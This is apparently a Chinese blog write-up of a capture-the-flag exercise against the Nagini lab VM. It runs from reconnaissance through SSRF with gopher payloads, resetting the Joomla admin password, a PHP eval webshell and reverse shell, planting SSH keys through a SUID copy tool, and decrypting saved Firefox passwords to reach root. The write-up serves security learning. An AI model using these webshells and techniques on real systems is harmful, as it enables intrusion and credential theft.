前言
使用virtual box虚拟环境
靶机:nagini
攻击:kali
主机发现
使用arp-scan -l扫描,确保在同一网卡

信息收集
使用nmap进行扫描

发现80端口http服务,apache 2.4.38,22端口ssh服务,openssh
网站探测
使用whatweb探测

使用gobuster、dirsearch、ffuf、dirb等工具进行目录扫描
检测到joomla可能是CMS,访问查看

先访问默认界面,没有任何东西,下载图片也没有隐藏信息

访问note.txt文件,说是使用新的http3服务器,给出网址https://quic.nagini.hogwarts,通过这个进行进一步的通信,所有开发人员都被要求定期访问服务器以检测最新公告。最后给出来信人site_admin。可能存在用户admin

访问确实是joomla的CMS

查看页面源码,发现有几个隐藏的输入

CMS针对
针对该CMS,有专门的工具joomscan可使用,会检测防火墙等操作
joomscan -u http://192.168.1.101

检测具体目录,并进行枚举
joomscan -u http://192.168.1.101/joomla/


找到两个文件,访问robots.txt查看,发现是一些目录

再访问备份文件http://192.168.1.101/joomla/configuration.php.bak
下载后查看内容


总结以上信息:
- 数据库类型为
mysql - 有一个连接数据库的空密码的
user为goblin - 数据库名为
joomla - 邮箱地址
site_admin@nagini.hogwarts - 以及一些路径已经给出
note.txt中提出了http3的连接交流,并且指定域名https://quic.nagini.hogwarts
漏洞发现
配置http3浏览
首先把靶机IP地址与域名进行绑定
vim /etc/hosts
网上查看http3,说是firefox和google都启用了,但是直接访问的话,还是不行,哪怕到浏览器配置把http3启动,还是无法访问
采用网上的方法
git clone --recursive https://github.com/cloudflare/quiche
#下载浏览器的数据包
apt-get install cargo #配置环境
apt-get install cmake #配置环境
#下载完成后,到目录下
cargo build #开始建造
apt-get purge rustc
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
#执行中出现选择,输入1即可
source $HOME/.cargo/env #环境变量
cargo build --examples
cargo test #测试有无问题
cd /quiche/target/debug/examples #切换到创建的环境
./http3-client https://quic.nagini.hogwarts#访问
啧啧,结果还是不行,使用无任何返回,看看成功的人,记下路径,直接访问internalResourceFeTcher.php
SSRF漏洞利用
查看页面源码后,以id=url接收输入后


可以看到是text的input,不知道php代码有没有做其他条件,这里直接输入文件测试
SSRF之文件读取
可以看到php有参数接收,可以直接测试file://读取文件格式

SSRF之gopher协议
存在SSRF漏洞,测试gopher协议

使用gopherus工具创建SSRF漏洞的利用。
想起之前的mysql连接,使用该工具生成一个mysql的payload
git clone https://github.com/tarunkant/Gopherus.git
cd Gopherus
./gopherus --exploit mysql

使用这个payload多测试几遍,就会出现

SSRF—gopher之数据库
发现数据库中的一个表

多次尝试该payload,查询到site_admin用户

密码$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay
尝试解密,发现不行,自己生成一个改密码的值,然后进行更新操作
echo -n "123456" | md5sum
使用gopherus工具生成,更新信息的命令

多次使用payload,出现下面后,成功修改

网站管理登录
访问之前的joomla/administrator路径,使用site_admin用户和密码123456进行登录

这个界面就可以操作很多东西,在扩展处,有模板,可以在这里进行设置,这里在站点的默认界面进行插入一句话代码
<?php @eval($_REQUEST['cmd'])?>


反弹shell
使用蚁🗡连接即可,当然也可以使用kali中的模块/usr/share/webshells/php/php-reverse-shell.php

整个文件中的代码复制到目标

然后在kali中使用nc监听1234端口,获取成功

切换到/home目录,看到文本,应该是密码,通过base64进行解码


尝试进入.ssh目录,查看有无私钥等,发现无权

使用ssh登录snape使用解密出的字符Love@lilly进行测试,可以登录,然后使用find寻找具有SUID权限,发现有一个/home/hermoine/bin/su_cp

切换到这个目录查看,发现有个txt文件,并且无权查看。su_cp是一个可执行文件

测试,并查看帮助

提权
ssh公私钥
因为每个用户目录下都有.ssh文件,那么就在kali上生成一个ssh钥匙对

把改名字为正常的已认证的文件authorized_keys,为了防止在靶机中权限不行导致改不了名称
虽然这里可以在使用su_cp的时候直接修改名称,但是这是一个习惯,还是生成之后再进行
这里可以选择通过wget配合python -m下载,也可以复制文本内容,然后粘贴(这种方式需要有编辑或创建文件的权限)
然后使用该命令把公钥复制到.ssh目录下

可以看到把在kali中已经生成的公钥作为用户hermonine的ssh配置中为已认证的,所以使用kali指定私钥文件直接连接即可

firefox_decrypt使用
先是使用find寻找具有SUID的,发现除了那个su_cp没有其他可用的了,但是这个也无法复制/etc/shadow,所以hash破解是不行了,查看当前目录所有文件,看到有一个.mozilla文件夹

在进入浏览一番,发现在firefox目录下有文件和文件夹,并且其中的一个目录中记录用户登录的用户名和密码,但是不知道加密算法,这里先把.mozilla目录下载到kali中
这里可以使用scp命令来上传下载,这里需要注意,这里是kali登录靶机可以通过私钥文件直接登录,但是反过来就需要kali开启ssh服务,有点麻烦,所以这里直接在kali上使用scp命令


在本地尝试进行破解其中的加密,找了好久,没有找到加密算法,所以查看搜索一下,发现使用工具firefox_decrypt即可。项目地址https://github.com/unode/firefox_decrypt.git

使用firefox_decrypt指定profiles.ini所在父目录即可

提权到root成功

清除痕迹

总结
- 对于
joomla这个CMS有了初步了解,可以知道网站的构造大概是什么样子 - SSRF漏洞的利用,利用该漏洞可以访问其靶机内网中的一些文件等操作
- 对于
http3有了基本了解,虽然没有搭建成功 - 对于数据库的增删改查要记住,这样才好使用
- 对于
webshell有了基本了解可自己编写一句话或者使用kali的内置 - 对于
ssh认证过程要有基本的了解,不管是使用密码的形式还是公私钥文件的形式 - 以及
ssh配套的scp也是经常使用到的,当不能下载的时候,这个命令可以救命 - 对于工具
firefox_decrypt的了解 - 对于
gopher协议的了解
-
Gopher 协议是 Internet 上一个非常早的分布式文件传输协议。它的设计目标是提供一种简单、高效的方式来组织和访问各种类型的文档、文件和其他资源。与 HTTP 协议用于网页浏览类似,Gopher 主要用于文本信息的检索和传输。
-
Gopher 采用客户端 - 服务器架构。
-
服务器端:Gopher 服务器存储了大量的信息资源,这些资源被组织成类似文件系统的层次结构。每个资源都有一个唯一的标识符,称为 Gopher 选择器(Gopher selector)。服务器通过监听特定的端口(通常是 70 端口)来接收客户端的请求。
-
客户端:Gopher 客户端软件用于向服务器发送请求并接收和处理服务器返回的信息。当用户在客户端选择一个菜单选项时,客户端会根据该选项对应的 Gopher 选择器向服务器发送请求。服务器接收到请求后,会查找相应的资源,并将资源的内容(如文本文件、目录列表等)返回给客户端。客户端收到信息后,会将其呈现给用户,例如在终端屏幕上显示文本内容或者解析目录列表并显示为菜单形式。
随着万维网的发展,Gopher 协议的使用已经大大减少。
696

被折叠的 条评论
为什么被折叠?



